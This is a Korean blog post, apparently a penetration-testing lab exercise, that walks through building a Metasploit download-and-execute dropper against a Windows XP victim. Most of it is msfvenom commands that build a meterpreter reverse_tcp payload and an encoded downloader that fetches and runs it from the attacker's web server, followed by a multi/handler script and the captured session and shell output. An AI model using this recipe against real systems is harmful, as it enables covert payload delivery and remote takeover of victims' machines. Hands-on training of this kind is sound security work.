Linux/모의해킹

Download_exec Payload

GGkeeper 2022. 1. 4. 21:09

실습> download_exec payload

Victim(Windows XP)가 파일(download_exec.exe)을 다운로드 받아서 실행하면 
내부적으로 malware.exe를 다운받아서 실행하면 공격자에게 reverse_tcp 로 연결한다.

결국 malware.exe를 직접 실행하는 형태가 아닌 간접적으로 실행하는 형태인 것이다.

malware.exe : 공격자로 reverse connection을 시도하는 파일
download_exec.exe : malware.exe를 다운받아서 실행하는 파일

msfvenom 옵션
-a : 아키텍처
--platform : 플래폼
-p : 페이로드  CMD=실행할명령어
-f : 파일 포맷 형식
-b : 제거할 문자
-e : 인코딩 방식
-o : 저장할 파일명

1. 악성코드 생성
Attacker# rm -f /var/www/html/malware.exe
Attacker# msfvenom -a x86 --platform windows  -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=443 -f exe -o /var/www/html/malware.exe

Attacker ~# file /var/www/html/malware.exe 
/var/www/html/malware.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Attacker# msfvenom -a x86 --platform windows -p windows/download_exec \
EXE=malware.exe URL=http://192.168.108.102/malware.exe \
-e x86/shikata_ga_nai -f exe -b '\x00\xff' -o /var/www/html/download_exec.exe

Attacker ~# file /var/www/html/download_exec.exe 
/var/www/html/download_exec.exe: PE32 executable (GUI) Intel 80386, for MS Windows

2. rc 파일 생성
Attacker# vi download_exec.rc
-- download_exec.rc --
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
set LPORT 443
run
-- download_exec.rc --

Attacker# msfconsole -r download_exec.rc

3. 실행 파일 다운로드
Victim(Windows XP)에서 다운로드 받아서 바탕화면에 저장한 후 실행한다.
http://192.168.108.102/download_exec.exe

4. meterpreter 쉘 실행
reverse_tcp 로 공격자에게 연결되서 meterpreter 쉘이 실행된다.

[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:443 -> 192.168.108.105:1039) at 2021-08-05 21:26:17 -0400

meterpreter > sysinfo
Computer        : USER1-28E4C7675
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > shell
Process 316 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면>exit